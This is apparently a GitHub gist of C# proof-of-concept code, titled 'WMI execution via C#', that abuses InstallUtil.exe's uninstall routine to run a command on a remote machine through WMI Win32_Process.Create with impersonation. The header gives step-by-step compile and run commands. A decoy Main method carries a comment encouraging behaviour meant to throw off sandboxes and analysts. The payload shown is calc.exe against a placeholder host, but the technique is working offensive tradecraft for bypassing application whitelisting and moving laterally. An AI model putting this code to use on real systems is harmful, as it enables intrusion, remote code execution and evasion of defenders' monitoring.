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@DanielRTeixeira
Forked from nicholasmckinney/mimic.cs
Created November 2, 2017 15:25
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WMI execution via C#
using System;
using System.Management;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe mimic.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U mimic.exe
Reference: https://msdn.microsoft.com/en-us/library/bb404655.aspx
*/
public class Program
{
public static void Main()
{
Console.WriteLine("Hello From Main...I Don't Do Anything");
//Add any behaviour here to throw off sandbox execution/analysts :)
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Console.WriteLine("Hello There From Uninstall");
Mimic.Exec("calc.exe");
}
}
public class Mimic
{
public static void Exec(string cmd)
{
try
{
var processToRun = new[] { cmd };
var connection = new ConnectionOptions();
connection.Impersonation = ImpersonationLevel.Impersonate;
connection.EnablePrivileges = true;
var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", "[REMOTE-NAME]"), connection);
var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions());
wmiProcess.InvokeMethod("Create", processToRun);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
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